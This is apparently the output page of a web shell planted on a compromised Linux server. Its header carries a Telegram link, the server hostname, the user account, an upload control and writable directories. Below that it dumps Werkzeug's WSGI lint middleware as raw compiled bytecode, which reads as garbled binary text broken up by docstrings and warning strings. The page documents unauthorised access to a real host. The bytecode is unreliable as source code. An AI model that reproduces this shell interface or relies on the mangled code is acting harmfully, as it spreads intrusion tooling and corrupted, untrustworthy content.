https://t.me/AnonymousX5
Server : Apache
System : Linux cvar2.toservers.com 3.10.0-962.3.2.lve1.5.73.el7.x86_64 #1 SMP Wed Aug 24 21:31:23 UTC 2022 x86_64
User : njnconst ( 1116)
PHP Version : 8.4.18
Disable Function : NONE
Directory :  /usr/lib/python2.7/site-packages/werkzeug/middleware/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/lib/python2.7/site-packages/werkzeug/middleware/lint.pyc
�
./�_c@s^dZddlmZddlmZddlmZddlmZddlmZddl	m
Z
dd	lmZydd
l
mZWn!ek
r�dd
lmZnXdefd��YZd
efd��YZdd�Zdefd��YZdefd��YZdefd��YZedefd��Y�Zdefd��YZdS(s�
WSGI Protocol Linter
====================

This module provides a middleware that performs sanity checks on the
behavior of the WSGI server and application. It checks that the
:pep:`3333` WSGI spec is properly implemented. It also warns on some
common HTTP errors such as non-empty responses for 304 status codes.

.. autoclass:: LintMiddleware

:copyright: 2007 Pallets
:license: BSD-3-Clause
i����(twarni(timplements_iterator(tPY2(tstring_types(tHeaders(tis_entity_header(tFileWrapper(turlparsetWSGIWarningcBseZdZRS(s Warning class for WSGI warnings.(t__name__t
__module__t__doc__(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRstHTTPWarningcBseZdZRS(s Warning class for HTTP warnings.(R	R
R(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR"sicCs9t|�tk	r5td|t|�jft�ndS(Ns'%s' requires strings, got '%s'(ttypetstrRR	R(tcontexttobjt
stacklevel((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pytcheck_string&stInputStreamcBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs
||_dS(N(t_stream(tselftstream((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt__init__/scGs`t|�dkr(tdtdd�n(t|�dkrPtdtdd�n|jj|�S(Nis�WSGI does not guarantee an EOF marker on the input stream, thus making calls to 'wsgi.input.read()' unsafe. Conforming servers may never return from this call.Riis2Too many parameters passed to 'wsgi.input.read()'.(tlenRRRtread(Rtargs((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR2s

cGslt|�dkr(tdtdd�n4t|�dkrPtdtdd�ntd��|jj|�S(Nis_Calls to 'wsgi.input.readline()' without arguments are unsafe. Use 'wsgi.input.read()' instead.Riis~'wsgi.input.readline()' was called with a size hint. WSGI does not support this, although it's available on all major servers.s5Too many arguments passed to 'wsgi.input.readline()'.(RRRt	TypeErrorRtreadline(RR((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRCs

cCsCyt|j�SWn+tk
r>tdtdd�td�SXdS(Ns'wsgi.input' is not iterable.Ri((titerRRRR(R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt__iter__Vs

cCs$tdtdd�|jj�dS(Ns(The application closed the input stream!Ri(RRRtclose(R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR]s(R	R
RRRRR(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR.s
				tErrorStreamcBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCs
||_dS(N(R(RR((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRcscCs!td|�|jj|�dS(Nswsgi.error.write()(RRtwrite(Rts((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR!fs
cCs|jj�dS(N(Rtflush(R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR#jscCs"x|D]}|j|�qWdS(N(R!(Rtseqtline((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt
writelinesms
cCs$tdtdd�|jj�dS(Ns(The application closed the error stream!Ri(RRRR(R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRqs(R	R
RR!R#R&R(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR bs
				tGuardedWritecBseZd�Zd�ZRS(cCs||_||_dS(N(t_writet_chunks(RR!tchunks((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRws	cCs7td|�|jj|�|jjt|��dS(Nswrite()(RR(R!R)tappendR(RR"((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt__call__{s
(R	R
RR,(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR'vs	tGuardedIteratorcBs5eZd�Zd�Zd�Zd�Zd�ZRS(cCsU||_tr$t|�j|_nt|�j|_t|_||_||_	dS(N(
t	_iteratorRRtnextt_nextt__next__tFalsetclosedtheaders_setR*(RtiteratorR4R*((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR�s			cCs|S(N((R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR�scCsq|jrtdtdd�n|j�}|jsJtdtdd�ntd|�|jjt|��|S(Ns Iterated over closed 'app_iter'.Ris8The application returned before it started the response.sapplication iterator items(	R3RRR0R4RR*R+R(Rtrv((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR1�s		

cCsot|_t|jd�r+|jj�n|jrk|j\}}t|j�}|jddt	�}|dkr�xL|D]D\}}|j
�}|dkrzt|�rztd|t
�qzqzW|rhtdt
�qhqkd	|ko�d
kns|dkr@|dkr#td
|t
�n|rhtd|t
�qhqk|dk	rk||krktdt�qkndS(NRscontent-lengthR
i0texpiresscontent-locations'Entity header %r found in 304 response.s#304 responses must not have a body.idi�i�is/%r responses must have an empty content length.s"%r responses must not have a body.sGContent-Length and the number of bytes sent to the client do not match.(sexpiresscontent-location(tTrueR3thasattrR.RR4tsumR*tgettinttlowerRRRtNoneR(Rtstatus_codetheaderst
bytes_senttcontent_lengthtkeyt_value((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR�s8			(
cCs5|js1ytdt�Wq1tk
r-q1XndS(Ns4Iterator was garbage collected before it was closed.(R3RRt	Exception(R((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt__del__�s	
(R	R
RRR1RRF(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR-�s
	
			'tLintMiddlewarecBsDeZdZd�Zd�Zd�Zd�Zd�Zd�ZRS(s�Warns about common errors in the WSGI and HTTP behavior of the
    server and wrapped application. Some of the issues it check are:

    -   invalid status codes
    -   non-bytestrings sent to the WSGI server
    -   strings returned from the WSGI application
    -   non-empty conditional responses
    -   unquoted etags
    -   relative URLs in the Location header
    -   unsafe calls to wsgi.input
    -   unclosed iterators

    Error information is emitted using the :mod:`warnings` module.

    :param app: The WSGI application to wrap.

    .. code-block:: python

        from werkzeug.middleware.lint import LintMiddleware
        app = LintMiddleware(app)
    cCs
||_dS(N(tapp(RRH((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR�sc	Cs
t|�tk	r(tdtdd�nx4dD],}||kr/td
|tdd�q/q/W|ddkr�tdtdd�n|jdd�}|jdd�}|r�|ddkr�td|tdd�n|r	|ddkr	td|tdd�ndS(Ns/WSGI environment is not a standard Python dict.RitREQUEST_METHODtSERVER_NAMEtSERVER_PORTswsgi.versions
wsgi.inputswsgi.errorsswsgi.multithreadswsgi.multiprocesss
wsgi.run_onces%Required environment key %r not foundiiis"Environ is not a WSGI 1.0 environ.tSCRIPT_NAMEtt	PATH_INFOt/s-'SCRIPT_NAME' does not start with a slash: %rs+'PATH_INFO' does not start with a slash: %r(	sREQUEST_METHODRJRKswsgi.versions
wsgi.inputswsgi.errorsswsgi.multithreadswsgi.multiprocesss
wsgi.run_once(ii(R
tdictRRR;(RtenvironRCtscript_namet	path_info((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt
check_environ�sD


c	Cstd|�|jdd�d}t|�dksB|j�r[ttd�dd�nt|�dks}|ddkr�ttd	�dd�nt|�}|d
kr�ttd�dd�nt|�t	k	r�ttd�dd�nx�|D]�}t|�t
k	s#t|�d
kr<ttd�dd�n|\}}t|�tk	slt|�tk	r�ttd�dd�n|j�dkr�ttd�dd�q�q�W|dk	r�t
|t
�r�ttd�dd�nt|�}|j|�||fS(Ntstatusiiis Status code must be three digitsRit seInvalid value for status %r.  Valid status strings are three digits, a space and a status explanationidsstatus code < 100 detectedsheader list is not a listis Headers must tuple 2-item tuplessheader items must be stringssFThe status header is not supported due to conflicts with the CGI spec.sinvalid value for exc_info(RtsplitR>RtisdigitRRR<R
tlistttupleRR=t
isinstanceRt
check_headers(RRUR@texc_infoR?titemtnametvalue((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pytcheck_start_responses<
"	

$$	
cCs�|jd�}|dk	r�|jd�r_|jd�rRttd�dd�n|d}n|d |d	ko~d
kns�ttd�dd�q�n|jd�}|dk	r�t|�js�ttd
�dd�q�ndS(NtetagsW/sw/s%weak etag indicator should be upcase.Riiii����t"sunquoted etag emitted.tlocations*absolute URLs required for location header(sW/sw/(R;R>t
startswithRRRtnetloc(RR@RbRd((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR\Hs 

$cCs)t|t�r%tdtdd�ndS(Ns�The application returned astring. The response will send one character at a time to the client, which will kill performance. Return a list or iterable instead.Ri(R[RRR(Rtapp_iter((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pytcheck_iteratoras
cs�t|�dkr(tdtdd�n|rDtdtdd�n|\}��j|�t|d�|d<t|d�|d<t|d<g�g�����fd�}�j||�}�j|�t	|���S(	NisA WSGI app takes two arguments.Rs+A WSGI app does not take keyword arguments.s
wsgi.inputswsgi.errorsswsgi.file_wrappercs�t|�dkr2tdt|�tdd�n|rHtdt�n|d \}}t|�dkrw|d}nd}�j|||��(t�|||���S(Niis1Invalid number of arguments: %s, expected 2 or 3.Rs1'start_response' does not take keyword arguments.(ii(RRRR>RaR'(RtkwargsRUR@R](R*R4Rtstart_response(s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pytchecking_start_response�s


(
RRRRTRR RRHRhR-(RRRiRQRkRg((R*R4RRjs</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyR,ks 


(	R	R
RRRTRaR\RhR,(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyRG�s		,	0		
N(RtwarningsRt_compatRRRtdatastructuresRthttpRtwsgiRturllib.parseRtImportErrortWarningRRRtobjectRR R'R-RG(((s</tmp/pip-install-sTXtzD/Werkzeug/werkzeug/middleware/lint.pyt<module>s(
4P

https://t.me/AnonymousX5 - 2025